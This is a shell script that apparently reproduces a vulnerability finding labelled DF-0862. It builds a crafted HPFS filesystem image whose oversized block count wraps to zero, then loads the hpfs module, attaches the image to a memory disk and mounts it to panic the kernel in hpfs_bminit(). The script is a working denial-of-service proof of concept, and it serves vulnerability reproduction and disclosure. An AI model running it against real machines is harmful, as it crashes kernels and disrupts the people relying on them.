#!/bin/sh
# DF-0862 run: build the crafted HPFS image (su_btotal=0xFFFFC001) and mount it
# to trigger the integer-overflow / ZERO_LENGTH_PTR-deref panic in hpfs_bminit().
#
# Threat model: a crafted HPFS filesystem image.  The mounter (root, or an
# unprivileged user after vfs.usermount=1 + an image/memory-disk owned by them
# -- both realistic admin preconditions) mounts the attacker's image and the
# kernel panics in hpfs_bminit() at sys/vfs/hpfs/hpfs_subr.c:159.
#
# HPFS is a shipped loadable module (/boot/kernel/hpfs.ko); `kldload hpfs` just
# enables the filesystem parser (a standard admin action, NOT part of any
# privilege escalation -- this is a DoS / memory-safety finding, impact ceiling
# is a mount-time kernel panic).
#
# MUST be run as root (kldload / vnconfig / mount).  Force /bin/sh.
#   usage: ./run.sh
set -e
cd "$(dirname "$0")"

# 1. craft the image (su_btotal = 0xFFFFC001 -> (su_btotal+0x3FFF)/0x4004 wraps to 0 in u32)
[ -x craft_img ] || cc -O2 -Wall -o craft_img craft_img.c
./craft_img crafted.img 0xFFFFC001

# 2. enable the HPFS filesystem parser (shipped module)
kldload hpfs 2>/dev/null || kldstat | grep -q hpfs || { echo "FATAL: cannot load hpfs.ko"; exit 1; }

# 3. attach the image to a memory disk
DEV=$(vnconfig -c vn "$(pwd)/crafted.img" 2>&1 | grep -oE 'vn[0-9]+' | head -1)
[ -n "$DEV" ] || { echo "FATAL: vnconfig failed"; exit 1; }
echo "[run] attached crafted.img -> /dev/$DEV"

mkdir -p /mnt/df0862
echo "[run] mounting crafted HPFS image -- on the UNPATCHED kernel expect a panic"
echo "      (ssh will hang; the panic lands in the serial console / boot.log)"
mount -t hpfs -o ro "/dev/$DEV" /mnt/df0862
RC=$?
echo "[run] mount returned rc=$RC (if you see this, the bug did NOT fire)"